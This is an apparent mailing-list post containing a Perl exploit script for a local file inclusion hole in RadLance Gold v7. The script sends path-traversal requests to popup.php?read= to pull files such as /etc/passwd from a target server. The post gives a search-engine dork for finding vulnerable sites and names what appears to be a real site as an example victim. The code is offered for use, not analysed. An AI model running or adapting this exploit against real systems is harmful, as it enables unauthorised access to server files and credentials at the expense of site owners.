RadLance Local Inclusion Exploit

["Hussain Salim" <bo_ali90 () hotmail com>]

Discovered And Coded By Mr.CrackerZ


Exploit Code


___________



#!/usr/bin/perl
#Discovered and coded by Mr.CrackerZ ( Security Team )
#Contact me ( bo_ali90 () hotmail com )
#Usage: radlance.pl <victim> <local file to read>
#Google: Powered by: RadLance Gold v7
#Tested Under RadLance Gold v7 ( Local Inclusion Exploit )
#Example: 
http://www.getabuilder.co.uk/popup.php?read=../../../../../../../../../etc/passwd
#Perl example: radlance.pl www.getabuilder.co.uk 
../../../../../../../../../etc/passwd
#################################################





use IO::Socket;
if(@ARGV < 2){
print "
+*************************************************************************+

Exploit Discovered and coded by Mr.CrackerZ ( Security Team )

radlance.pl <victim> <local file to read>

<victim> = www.example.com

<local file to read> = ../../../../../../../../../etc/passwd


+*************************************************************************+
";
exit();
}
#Local variables
$wbbserver = $ARGV[0];
$wbbserver =~ s/(http:\/\/)//eg;
$wbbhost = "http://".$wbbserver;
$port = "80";
$wbbtar = "/popup.php?read=";
$wbbxp = $ARGV[1];
$wbbreq = $wbbhost.$wbbtar.$wbbxp;
#Writing data to socket
print "\r\n";
print "+ Trying to connect: $wbbserver\n";
$wbb = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$wbbserver", 
PeerPort => "$port") || die "\n+ Connection failed...\n";
print $wbb "GET $wbbreq\n";
print $wbb "Host: $wbbserver\n";
print $wbb "Accept: */*\n";
print $wbb "Connection: close\n\n";
print "+ Connected!...\n";
print "\r\n";
print 
"+**********************************************************************+\n";
while($answer = <$wbb>) {

print <$wbb>;
printf "\r\n";

}

print 
"+**********************************************************************+\n\ncopy 
the code and save it as .html or .php depend the file u are trying 
to\naccess to , and if u saw the file cont so you got what u need :)\n";

_________________________________________________________________
Are you using the latest version of MSN Messenger? Download MSN Messenger 
7.5 today! http://join.msn.com/messenger/overview